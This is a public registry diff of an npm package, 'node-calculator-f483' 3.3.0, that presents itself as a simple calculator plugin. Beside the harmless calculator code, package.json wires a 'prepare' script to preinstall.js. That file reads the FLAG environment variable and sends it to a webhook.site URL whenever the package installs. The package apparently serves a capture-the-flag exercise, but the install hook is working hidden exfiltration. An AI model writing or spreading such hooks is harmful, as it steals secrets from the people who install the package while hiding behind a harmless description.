node-calculator-f483 3.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -0
- package/package.json +12 -0
- package/preinstall.js +15 -0
package/index.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
function calculate(operation, a, b) {
|
|
2
|
+
switch(operation) {
|
|
3
|
+
case 'add':
|
|
4
|
+
return a + b;
|
|
5
|
+
case 'subtract':
|
|
6
|
+
return a - b;
|
|
7
|
+
case 'multiply':
|
|
8
|
+
return a * b;
|
|
9
|
+
case 'divide':
|
|
10
|
+
if (b === 0) {
|
|
11
|
+
throw new Error('Division by zero');
|
|
12
|
+
}
|
|
13
|
+
return a / b;
|
|
14
|
+
default:
|
|
15
|
+
throw new Error('Invalid operation');
|
|
16
|
+
}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
module.exports = { calculate };
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "node-calculator-f483",
|
|
3
|
+
"version": "3.3.0",
|
|
4
|
+
"description": "Simple calculator plugin",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"prepare": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["calculator", "math"],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const flag = process.env.FLAG;
|
|
3
|
+
const url = 'https://webhook.site/b42b95d6-9955-416c-b1d8-00f94aef42b0/test?flag=' + encodeURIComponent(flag);
|
|
4
|
+
|
|
5
|
+
// Make the GET request
|
|
6
|
+
https.get(url, (res) => {
|
|
7
|
+
console.log(`Webhook visited. Status code: ${res.statusCode}`);
|
|
8
|
+
|
|
9
|
+
// Consume response data to free up memory, even if we don't use it
|
|
10
|
+
res.on('data', () => {});
|
|
11
|
+
|
|
12
|
+
}).on('error', (err) => {
|
|
13
|
+
// Handle errors
|
|
14
|
+
console.error('Error visiting webhook:', err.message);
|
|
15
|
+
});
|